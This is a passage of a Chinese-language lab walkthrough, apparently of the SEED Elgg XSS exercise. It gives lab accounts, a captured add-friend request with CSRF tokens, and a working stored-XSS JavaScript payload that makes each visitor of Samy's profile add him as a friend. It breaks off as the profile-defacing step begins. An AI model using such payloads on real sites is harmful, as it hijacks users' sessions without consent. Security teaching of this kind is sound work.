实验准备
- Ubuntu16.04
- 将网站www.xsslabelgg.com映射到IP地址127.0.0.1,填写在/etc/hosts文件里,同时需要修改Apache服务器配置文件/etc/apache2/sites-available/000-default.conf,以使得Apache服务器可以识别该站点。
- 在Elgg服务器创建几个用户:
|账号|密码|
|admin|seedadmin|
|alice|seedalice|
|boby|seedboby|
|charlie|seedcharlie|
|samy|seedsamy|
预备知识
- 许多网络应用程序允许用户之间共享信息,一个用户的输入可以被其他人浏览,如果浏览的只是数据,那么没有太大的风险,然而,恶意用户可能会在数据中放入Javascript代码,如果一个网络应用程序没有将代码过滤掉,这段代码就可以到达其他用户的浏览器并执行,这被称为跨站脚本攻击。
开始实验
- 通过XSS攻击成为Samy的好友
- 对于添加好友我们需要知道到底应该发送什么样的请求。
- 我们用Charlie账户登陆,浏览Samy账户并添加其为自己的好友,同时使用火狐浏览器的HTTP Header Live拓展工具或Google浏览器的开发者工具来捕捉加好友的请求:
行1:这是Elgg添加好友请求的URL,在请求中,需要设置目标URL为http://www.xsslabelgg.com/action/friends/add,除此之外,添加好友请求需要指明要添加的用户。http://www.xsslabelgg.com/action/friends/add?friend=47 #1 &__elgg_ts=1594434277&__elgg_token=nWtT6nRoeg-vbVwymcShzQ #2 ... Cookie:Elgg=v7jldvjfssch28pvt06605ojl4 #3
行2:在URL中有两个额外的参数:__elgg_ts 和 __elgg_token,这个两个参数是为了防范CSRF攻击的对策,在CSRF攻击中关闭了它,但在XSS攻击中又重新打开了它,因此必须正确设置这两个值,否则它就会被视为跨站请求而被丢弃。
行3:这是会话cookie,没有它,Elgg会丢弃请求,这个值浏览器会自动设置,攻击者无需担心。 - _elgg_ts、__elgg_token这两个参数的值分别可以通过elgg.security.token.__elgg_ts和elgg.security.token.__elgg_token这两个Javascript变量获得。
- 构造添加好友请求代码:
<script type="text/javascript"> window.onload = function() { var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts; var token = "&__elgg_token="+elgg.security.token.__elgg_token; var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=47"+token+ts; Ajax = new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
- 恶意代码构造完毕后,把它放到Samy的个人主页,当有用户访问Samy的个人主页时,这段代码就会在用户的浏览器内执行,用户的个人主页有几个区域,这里选择about me区域,这个区域编辑器的默认模式支持格式化文本,编辑器会向文本添加格式数据,这些添加的数据会导致Javascript代码出现问题,为了防止编辑器添加数据,可以单击该区域右上角的Edit HTML按钮来切换到明文模式。
- 现在使用Alice账户登录,浏览Samy账户,可以看到Alice已经添加Samy为好友,因为此时页面上显示的时Remove Friend。
- 使用XSS攻击修改他人主页。
- 将添加“Samy is my hero”这句话到所有浏览了他主页的用户的网页中,首先我们需要知道编辑个人资料服务所需要的参数。
Request UR